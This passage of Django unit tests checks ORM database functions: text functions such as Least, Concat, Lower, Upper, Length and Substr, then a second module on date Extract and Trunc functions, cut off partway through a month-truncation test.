    def test_least_coalesce_workaround_mysql(self):
        future = datetime(2100, 1, 1)
        now = timezone.now()

        Article.objects.create(title="Testing with Django", written=now)

        future_sql = RawSQL("cast(%s as datetime)", (future,))
        articles = Article.objects.annotate(
            last_updated=Least(
                Coalesce('written', future_sql),
                Coalesce('published', future_sql),
            ),
        )
        self.assertEqual(articles.first().last_updated, truncate_microseconds(now))

    def test_least_all_null(self):
        Article.objects.create(title="Testing with Django", written=timezone.now())

        articles = Article.objects.annotate(first_updated=Least('published', 'updated'))
        self.assertIsNone(articles.first().first_updated)

    def test_least_one_expressions(self):
        with self.assertRaisesMessage(ValueError, 'Least must take at least two expressions'):
            Least('written')

    def test_least_related_field(self):
        author = Author.objects.create(name='John Smith', age=45)
        Fan.objects.create(name='Margaret', age=50, author=author)

        authors = Author.objects.annotate(
            lowest_age=Least('age', 'fans__age'),
        )
        self.assertEqual(authors.first().lowest_age, 45)

    def test_least_update(self):
        author = Author.objects.create(name='James Smith', goes_by='Jim')

        Author.objects.update(alias=Least('name', 'goes_by'))

        author.refresh_from_db()
        self.assertEqual(author.alias, 'James Smith')

    def test_concat(self):
        Author.objects.create(name='Jayden')
        Author.objects.create(name='John Smith', alias='smithj', goes_by='John')
        Author.objects.create(name='Margaret', goes_by='Maggie')
        Author.objects.create(name='Rhonda', alias='adnohR')

        authors = Author.objects.annotate(joined=Concat('alias', 'goes_by'))
        self.assertQuerysetEqual(
            authors.order_by('name'), [
                '',
                'smithjJohn',
                'Maggie',
                'adnohR',
            ],
            lambda a: a.joined
        )

        with self.assertRaisesMessage(ValueError, 'Concat must take at least two expressions'):
            Author.objects.annotate(joined=Concat('alias'))

    def test_concat_many(self):
        Author.objects.create(name='Jayden')
        Author.objects.create(name='John Smith', alias='smithj', goes_by='John')
        Author.objects.create(name='Margaret', goes_by='Maggie')
        Author.objects.create(name='Rhonda', alias='adnohR')

        authors = Author.objects.annotate(
            joined=Concat('name', V(' ('), 'goes_by', V(')'), output_field=CharField()),
        )

        self.assertQuerysetEqual(
            authors.order_by('name'), [
                'Jayden ()',
                'John Smith (John)',
                'Margaret (Maggie)',
                'Rhonda ()',
            ],
            lambda a: a.joined
        )

    def test_concat_mixed_char_text(self):
        Article.objects.create(title='The Title', text=lorem_ipsum, written=timezone.now())
        article = Article.objects.annotate(
            title_text=Concat('title', V(' - '), 'text', output_field=TextField()),
        ).get(title='The Title')
        self.assertEqual(article.title + ' - ' + article.text, article.title_text)

        # wrap the concat in something else to ensure that we're still
        # getting text rather than bytes
        article = Article.objects.annotate(
            title_text=Upper(Concat('title', V(' - '), 'text', output_field=TextField())),
        ).get(title='The Title')
        expected = article.title + ' - ' + article.text
        self.assertEqual(expected.upper(), article.title_text)

    @skipUnless(connection.vendor == 'sqlite', "sqlite specific implementation detail.")
    def test_concat_coalesce_idempotent(self):
        pair = ConcatPair(V('a'), V('b'))
        # Check nodes counts
        self.assertEqual(len(list(pair.flatten())), 3)
        self.assertEqual(len(list(pair.coalesce().flatten())), 7)  # + 2 Coalesce + 2 Value()
        self.assertEqual(len(list(pair.flatten())), 3)

    def test_concat_sql_generation_idempotency(self):
        qs = Article.objects.annotate(description=Concat('title', V(': '), 'summary'))
        # Multiple compilations should not alter the generated query.
        self.assertEqual(str(qs.query), str(qs.all().query))

    def test_lower(self):
        Author.objects.create(name='John Smith', alias='smithj')
        Author.objects.create(name='Rhonda')
        authors = Author.objects.annotate(lower_name=Lower('name'))

        self.assertQuerysetEqual(
            authors.order_by('name'), [
                'john smith',
                'rhonda',
            ],
            lambda a: a.lower_name
        )

        Author.objects.update(name=Lower('name'))
        self.assertQuerysetEqual(
            authors.order_by('name'), [
                ('john smith', 'john smith'),
                ('rhonda', 'rhonda'),
            ],
            lambda a: (a.lower_name, a.name)
        )

        with self.assertRaisesMessage(TypeError, "'Lower' takes exactly 1 argument (2 given)"):
            Author.objects.update(name=Lower('name', 'name'))

    def test_upper(self):
        Author.objects.create(name='John Smith', alias='smithj')
        Author.objects.create(name='Rhonda')
        authors = Author.objects.annotate(upper_name=Upper('name'))

        self.assertQuerysetEqual(
            authors.order_by('name'), [
                'JOHN SMITH',
                'RHONDA',
            ],
            lambda a: a.upper_name
        )

        Author.objects.update(name=Upper('name'))
        self.assertQuerysetEqual(
            authors.order_by('name'), [
                ('JOHN SMITH', 'JOHN SMITH'),
                ('RHONDA', 'RHONDA'),
            ],
            lambda a: (a.upper_name, a.name)
        )

    def test_length(self):
        Author.objects.create(name='John Smith', alias='smithj')
        Author.objects.create(name='Rhonda')
        authors = Author.objects.annotate(
            name_length=Length('name'),
            alias_length=Length('alias'))

        self.assertQuerysetEqual(
            authors.order_by('name'), [
                (10, 6),
                (6, None),
            ],
            lambda a: (a.name_length, a.alias_length)
        )

        self.assertEqual(authors.filter(alias_length__lte=Length('name')).count(), 1)

    def test_length_ordering(self):
        Author.objects.create(name='John Smith', alias='smithj')
        Author.objects.create(name='John Smith', alias='smithj1')
        Author.objects.create(name='Rhonda', alias='ronny')

        authors = Author.objects.order_by(Length('name'), Length('alias'))

        self.assertQuerysetEqual(
            authors, [
                ('Rhonda', 'ronny'),
                ('John Smith', 'smithj'),
                ('John Smith', 'smithj1'),
            ],
            lambda a: (a.name, a.alias)
        )

    def test_substr(self):
        Author.objects.create(name='John Smith', alias='smithj')
        Author.objects.create(name='Rhonda')
        authors = Author.objects.annotate(name_part=Substr('name', 5, 3))

        self.assertQuerysetEqual(
            authors.order_by('name'), [
                ' Sm',
                'da',
            ],
            lambda a: a.name_part
        )

        authors = Author.objects.annotate(name_part=Substr('name', 2))
        self.assertQuerysetEqual(
            authors.order_by('name'), [
                'ohn Smith',
                'honda',
            ],
            lambda a: a.name_part
        )

        # if alias is null, set to first 5 lower characters of the name
        Author.objects.filter(alias__isnull=True).update(
            alias=Lower(Substr('name', 1, 5)),
        )

        self.assertQuerysetEqual(
            authors.order_by('name'), [
                'smithj',
                'rhond',
            ],
            lambda a: a.alias
        )

    def test_substr_start(self):
        Author.objects.create(name='John Smith', alias='smithj')
        a = Author.objects.annotate(
            name_part_1=Substr('name', 1),
            name_part_2=Substr('name', 2),
        ).get(alias='smithj')

        self.assertEqual(a.name_part_1[1:], a.name_part_2)

        with self.assertRaisesMessage(ValueError, "'pos' must be greater than 0"):
            Author.objects.annotate(raises=Substr('name', 0))

    def test_substr_with_expressions(self):
        Author.objects.create(name='John Smith', alias='smithj')
        Author.objects.create(name='Rhonda')
        authors = Author.objects.annotate(name_part=Substr('name', 5, 3))
        self.assertQuerysetEqual(
            authors.order_by('name'), [
                ' Sm',
                'da',
            ],
            lambda a: a.name_part
        )

    def test_nested_function_ordering(self):
        Author.objects.create(name='John Smith')
        Author.objects.create(name='Rhonda Simpson', alias='ronny')

        authors = Author.objects.order_by(Length(Coalesce('alias', 'name')))
        self.assertQuerysetEqual(
            authors, [
                'Rhonda Simpson',
                'John Smith',
            ],
            lambda a: a.name
        )

        authors = Author.objects.order_by(Length(Coalesce('alias', 'name')).desc())
        self.assertQuerysetEqual(
            authors, [
                'John Smith',
                'Rhonda Simpson',
            ],
            lambda a: a.name
        )

    def test_now(self):
        ar1 = Article.objects.create(
            title='How to Django',
            text=lorem_ipsum,
            written=timezone.now(),
        )
        ar2 = Article.objects.create(
            title='How to Time Travel',
            text=lorem_ipsum,
            written=timezone.now(),
        )

        num_updated = Article.objects.filter(id=ar1.id, published=None).update(published=Now())
        self.assertEqual(num_updated, 1)

        num_updated = Article.objects.filter(id=ar1.id, published=None).update(published=Now())
        self.assertEqual(num_updated, 0)

        ar1.refresh_from_db()
        self.assertIsInstance(ar1.published, datetime)

        ar2.published = Now() + timedelta(days=2)
        ar2.save()
        ar2.refresh_from_db()
        self.assertIsInstance(ar2.published, datetime)

        self.assertQuerysetEqual(
            Article.objects.filter(published__lte=Now()),
            ['How to Django'],
            lambda a: a.title
        )
        self.assertQuerysetEqual(
            Article.objects.filter(published__gt=Now()),
            ['How to Time Travel'],
            lambda a: a.title
        )

    def test_length_transform(self):
        try:
            CharField.register_lookup(Length, 'length')
            Author.objects.create(name='John Smith', alias='smithj')
            Author.objects.create(name='Rhonda')
            authors = Author.objects.filter(name__length__gt=7)
            self.assertQuerysetEqual(
                authors.order_by('name'), [
                    'John Smith',
                ],
                lambda a: a.name
            )
        finally:
            CharField._unregister_lookup(Length, 'length')

    def test_lower_transform(self):
        try:
            CharField.register_lookup(Lower, 'lower')
            Author.objects.create(name='John Smith', alias='smithj')
            Author.objects.create(name='Rhonda')
            authors = Author.objects.filter(name__lower__exact='john smith')
            self.assertQuerysetEqual(
                authors.order_by('name'), [
                    'John Smith',
                ],
                lambda a: a.name
            )
        finally:
            CharField._unregister_lookup(Lower, 'lower')

    def test_upper_transform(self):
        try:
            CharField.register_lookup(Upper, 'upper')
            Author.objects.create(name='John Smith', alias='smithj')
            Author.objects.create(name='Rhonda')
            authors = Author.objects.filter(name__upper__exact='JOHN SMITH')
            self.assertQuerysetEqual(
                authors.order_by('name'), [
                    'John Smith',
                ],
                lambda a: a.name
            )
        finally:
            CharField._unregister_lookup(Upper, 'upper')

    def test_func_transform_bilateral(self):
        class UpperBilateral(Upper):
            bilateral = True

        try:
            CharField.register_lookup(UpperBilateral, 'upper')
            Author.objects.create(name='John Smith', alias='smithj')
            Author.objects.create(name='Rhonda')
            authors = Author.objects.filter(name__upper__exact='john smith')
            self.assertQuerysetEqual(
                authors.order_by('name'), [
                    'John Smith',
                ],
                lambda a: a.name
            )
        finally:
            CharField._unregister_lookup(UpperBilateral, 'upper')

    def test_func_transform_bilateral_multivalue(self):
        class UpperBilateral(Upper):
            bilateral = True

        try:
            CharField.register_lookup(UpperBilateral, 'upper')
            Author.objects.create(name='John Smith', alias='smithj')
            Author.objects.create(name='Rhonda')
            authors = Author.objects.filter(name__upper__in=['john smith', 'rhonda'])
            self.assertQuerysetEqual(
                authors.order_by('name'), [
                    'John Smith',
                    'Rhonda',
                ],
                lambda a: a.name
            )
        finally:
            CharField._unregister_lookup(UpperBilateral, 'upper')

    def test_function_as_filter(self):
        Author.objects.create(name='John Smith', alias='SMITHJ')
        Author.objects.create(name='Rhonda')
        self.assertQuerysetEqual(
            Author.objects.filter(alias=Upper(V('smithj'))),
            ['John Smith'], lambda x: x.name
        )
        self.assertQuerysetEqual(
            Author.objects.exclude(alias=Upper(V('smithj'))),
            ['Rhonda'], lambda x: x.name
        )






from __future__ import unicode_literals

from datetime import datetime
from unittest import skipIf

from django.conf import settings
from django.db import connection
from django.db.models import DateField, DateTimeField, IntegerField, TimeField
from django.db.models.functions import (
    Extract, ExtractDay, ExtractHour, ExtractMinute, ExtractMonth,
    ExtractSecond, ExtractWeekDay, ExtractYear, Trunc, TruncDate, TruncDay,
    TruncHour, TruncMinute, TruncMonth, TruncSecond, TruncTime, TruncYear,
)
from django.test import TestCase, override_settings
from django.utils import timezone

from .models import DTModel

try:
    import pytz
except ImportError:
    pytz = None


def microsecond_support(value):
    return value if connection.features.supports_microsecond_precision else value.replace(microsecond=0)


def truncate_to(value, kind, tzinfo=None):
    # Convert to target timezone before truncation
    if tzinfo is not None:
        value = value.astimezone(tzinfo)

    def truncate(value, kind):
        if kind == 'second':
            return value.replace(microsecond=0)
        if kind == 'minute':
            return value.replace(second=0, microsecond=0)
        if kind == 'hour':
            return value.replace(minute=0, second=0, microsecond=0)
        if kind == 'day':
            if isinstance(value, datetime):
                return value.replace(hour=0, minute=0, second=0, microsecond=0)
            return value
        if kind == 'month':
            if isinstance(value, datetime):
                return value.replace(day=1, hour=0, minute=0, second=0, microsecond=0)
            return value.replace(day=1)
        # otherwise, truncate to year
        if isinstance(value, datetime):
            return value.replace(month=1, day=1, hour=0, minute=0, second=0, microsecond=0)
        return value.replace(month=1, day=1)

    value = truncate(value, kind)
    if tzinfo is not None:
        # If there was a daylight saving transition, then reset the timezone.
        value = timezone.make_aware(value.replace(tzinfo=None), tzinfo)
    return value


@override_settings(USE_TZ=False)
class DateFunctionTests(TestCase):

    def create_model(self, start_datetime, end_datetime):
        return DTModel.objects.create(
            name=start_datetime.isoformat(),
            start_datetime=start_datetime, end_datetime=end_datetime,
            start_date=start_datetime.date(), end_date=end_datetime.date(),
            start_time=start_datetime.time(), end_time=end_datetime.time(),
            duration=(end_datetime - start_datetime),
        )

    def test_extract_year_exact_lookup(self):
        """
        Extract year uses a BETWEEN filter to compare the year to allow indexes
        to be used.
        """
        start_datetime = datetime(2015, 6, 15, 14, 10)
        end_datetime = datetime(2016, 6, 15, 14, 10)
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)

        qs = DTModel.objects.filter(start_datetime__year__exact=2015)
        self.assertEqual(qs.count(), 1)
        query_string = str(qs.query).lower()
        self.assertEqual(query_string.count(' between '), 1)
        self.assertEqual(query_string.count('extract'), 0)

        # exact is implied and should be the same
        qs = DTModel.objects.filter(start_datetime__year=2015)
        self.assertEqual(qs.count(), 1)
        query_string = str(qs.query).lower()
        self.assertEqual(query_string.count(' between '), 1)
        self.assertEqual(query_string.count('extract'), 0)

        # date and datetime fields should behave the same
        qs = DTModel.objects.filter(start_date__year=2015)
        self.assertEqual(qs.count(), 1)
        query_string = str(qs.query).lower()
        self.assertEqual(query_string.count(' between '), 1)
        self.assertEqual(query_string.count('extract'), 0)

    def test_extract_year_greaterthan_lookup(self):
        start_datetime = datetime(2015, 6, 15, 14, 10)
        end_datetime = datetime(2016, 6, 15, 14, 10)
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)

        qs = DTModel.objects.filter(start_datetime__year__gt=2015)
        self.assertEqual(qs.count(), 1)
        self.assertEqual(str(qs.query).lower().count('extract'), 0)
        qs = DTModel.objects.filter(start_datetime__year__gte=2015)
        self.assertEqual(qs.count(), 2)
        self.assertEqual(str(qs.query).lower().count('extract'), 0)

    def test_extract_year_lessthan_lookup(self):
        start_datetime = datetime(2015, 6, 15, 14, 10)
        end_datetime = datetime(2016, 6, 15, 14, 10)
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)

        qs = DTModel.objects.filter(start_datetime__year__lt=2016)
        self.assertEqual(qs.count(), 1)
        self.assertEqual(str(qs.query).count('extract'), 0)
        qs = DTModel.objects.filter(start_datetime__year__lte=2016)
        self.assertEqual(qs.count(), 2)
        self.assertEqual(str(qs.query).count('extract'), 0)

    def test_extract_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)

        with self.assertRaisesMessage(ValueError, 'lookup_name must be provided'):
            Extract('start_datetime')

        msg = 'Extract input expression must be DateField, DateTimeField, or TimeField.'
        with self.assertRaisesMessage(ValueError, msg):
            list(DTModel.objects.annotate(extracted=Extract('name', 'hour')))

        with self.assertRaisesMessage(
                ValueError, "Cannot extract time component 'second' from DateField 'start_date'."):
            list(DTModel.objects.annotate(extracted=Extract('start_date', 'second')))

        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=Extract('start_datetime', 'year')).order_by('start_datetime'),
            [(start_datetime, start_datetime.year), (end_datetime, end_datetime.year)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=Extract('start_datetime', 'month')).order_by('start_datetime'),
            [(start_datetime, start_datetime.month), (end_datetime, end_datetime.month)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=Extract('start_datetime', 'day')).order_by('start_datetime'),
            [(start_datetime, start_datetime.day), (end_datetime, end_datetime.day)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=Extract('start_datetime', 'week_day')).order_by('start_datetime'),
            [
                (start_datetime, (start_datetime.isoweekday() % 7) + 1),
                (end_datetime, (end_datetime.isoweekday() % 7) + 1)
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=Extract('start_datetime', 'hour')).order_by('start_datetime'),
            [(start_datetime, start_datetime.hour), (end_datetime, end_datetime.hour)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=Extract('start_datetime', 'minute')).order_by('start_datetime'),
            [(start_datetime, start_datetime.minute), (end_datetime, end_datetime.minute)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=Extract('start_datetime', 'second')).order_by('start_datetime'),
            [(start_datetime, start_datetime.second), (end_datetime, end_datetime.second)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__year=Extract('start_datetime', 'year')).count(), 2)
        self.assertEqual(DTModel.objects.filter(start_datetime__hour=Extract('start_datetime', 'hour')).count(), 2)
        self.assertEqual(DTModel.objects.filter(start_date__month=Extract('start_date', 'month')).count(), 2)
        self.assertEqual(DTModel.objects.filter(start_time__hour=Extract('start_time', 'hour')).count(), 2)

    def test_extract_year_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractYear('start_datetime')).order_by('start_datetime'),
            [(start_datetime, start_datetime.year), (end_datetime, end_datetime.year)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractYear('start_date')).order_by('start_datetime'),
            [(start_datetime, start_datetime.year), (end_datetime, end_datetime.year)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__year=ExtractYear('start_datetime')).count(), 2)

    def test_extract_month_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractMonth('start_datetime')).order_by('start_datetime'),
            [(start_datetime, start_datetime.month), (end_datetime, end_datetime.month)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractMonth('start_date')).order_by('start_datetime'),
            [(start_datetime, start_datetime.month), (end_datetime, end_datetime.month)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__month=ExtractMonth('start_datetime')).count(), 2)

    def test_extract_day_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractDay('start_datetime')).order_by('start_datetime'),
            [(start_datetime, start_datetime.day), (end_datetime, end_datetime.day)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractDay('start_date')).order_by('start_datetime'),
            [(start_datetime, start_datetime.day), (end_datetime, end_datetime.day)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__day=ExtractDay('start_datetime')).count(), 2)

    def test_extract_weekday_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractWeekDay('start_datetime')).order_by('start_datetime'),
            [
                (start_datetime, (start_datetime.isoweekday() % 7) + 1),
                (end_datetime, (end_datetime.isoweekday() % 7) + 1),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractWeekDay('start_date')).order_by('start_datetime'),
            [
                (start_datetime, (start_datetime.isoweekday() % 7) + 1),
                (end_datetime, (end_datetime.isoweekday() % 7) + 1),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__week_day=ExtractWeekDay('start_datetime')).count(), 2)

    def test_extract_hour_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractHour('start_datetime')).order_by('start_datetime'),
            [(start_datetime, start_datetime.hour), (end_datetime, end_datetime.hour)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractHour('start_time')).order_by('start_datetime'),
            [(start_datetime, start_datetime.hour), (end_datetime, end_datetime.hour)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__hour=ExtractHour('start_datetime')).count(), 2)

    def test_extract_minute_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractMinute('start_datetime')).order_by('start_datetime'),
            [(start_datetime, start_datetime.minute), (end_datetime, end_datetime.minute)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractMinute('start_time')).order_by('start_datetime'),
            [(start_datetime, start_datetime.minute), (end_datetime, end_datetime.minute)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__minute=ExtractMinute('start_datetime')).count(), 2)

    def test_extract_second_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractSecond('start_datetime')).order_by('start_datetime'),
            [(start_datetime, start_datetime.second), (end_datetime, end_datetime.second)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=ExtractSecond('start_time')).order_by('start_datetime'),
            [(start_datetime, start_datetime.second), (end_datetime, end_datetime.second)],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__second=ExtractSecond('start_datetime')).count(), 2)

    def test_trunc_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)

        msg = 'output_field must be either DateField, TimeField, or DateTimeField'
        with self.assertRaisesMessage(ValueError, msg):
            list(DTModel.objects.annotate(truncated=Trunc('start_datetime', 'year', output_field=IntegerField())))

        with self.assertRaisesMessage(AssertionError, "'name' isn't a DateField, TimeField, or DateTimeField."):
            list(DTModel.objects.annotate(truncated=Trunc('name', 'year', output_field=DateTimeField())))

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=Trunc('start_date', 'second')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=Trunc('start_time', 'month')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=Trunc('start_date', 'month', output_field=DateTimeField())))

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=Trunc('start_time', 'second', output_field=DateTimeField())))

        def test_datetime_kind(kind):
            self.assertQuerysetEqual(
                DTModel.objects.annotate(
                    truncated=Trunc('start_datetime', kind, output_field=DateTimeField())
                ).order_by('start_datetime'),
                [
                    (start_datetime, truncate_to(start_datetime, kind)),
                    (end_datetime, truncate_to(end_datetime, kind))
                ],
                lambda m: (m.start_datetime, m.truncated)
            )

        def test_date_kind(kind):
            self.assertQuerysetEqual(
                DTModel.objects.annotate(
                    truncated=Trunc('start_date', kind, output_field=DateField())
                ).order_by('start_datetime'),
                [
                    (start_datetime, truncate_to(start_datetime.date(), kind)),
                    (end_datetime, truncate_to(end_datetime.date(), kind))
                ],
                lambda m: (m.start_datetime, m.truncated)
            )

        def test_time_kind(kind):
            self.assertQuerysetEqual(
                DTModel.objects.annotate(
                    truncated=Trunc('start_time', kind, output_field=TimeField())
                ).order_by('start_datetime'),
                [
                    (start_datetime, truncate_to(start_datetime.time(), kind)),
                    (end_datetime, truncate_to(end_datetime.time(), kind))
                ],
                lambda m: (m.start_datetime, m.truncated)
            )

        test_date_kind('year')
        test_date_kind('month')
        test_date_kind('day')
        test_time_kind('hour')
        test_time_kind('minute')
        test_time_kind('second')
        test_datetime_kind('year')
        test_datetime_kind('month')
        test_datetime_kind('day')
        test_datetime_kind('hour')
        test_datetime_kind('minute')
        test_datetime_kind('second')

        qs = DTModel.objects.filter(start_datetime__date=Trunc('start_datetime', 'day', output_field=DateField()))
        self.assertEqual(qs.count(), 2)

    def test_trunc_year_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = truncate_to(microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123)), 'year')
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncYear('start_datetime')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime, 'year')),
                (end_datetime, truncate_to(end_datetime, 'year')),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncYear('start_date')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime.date(), 'year')),
                (end_datetime, truncate_to(end_datetime.date(), 'year')),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime=TruncYear('start_datetime')).count(), 1)

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncYear('start_time')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncYear('start_time', output_field=TimeField())))

    def test_trunc_month_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = truncate_to(microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123)), 'month')
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncMonth('start_datetime')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime, 'month')),
                (end_datetime, truncate_to(end_datetime, 'month')),
            ],
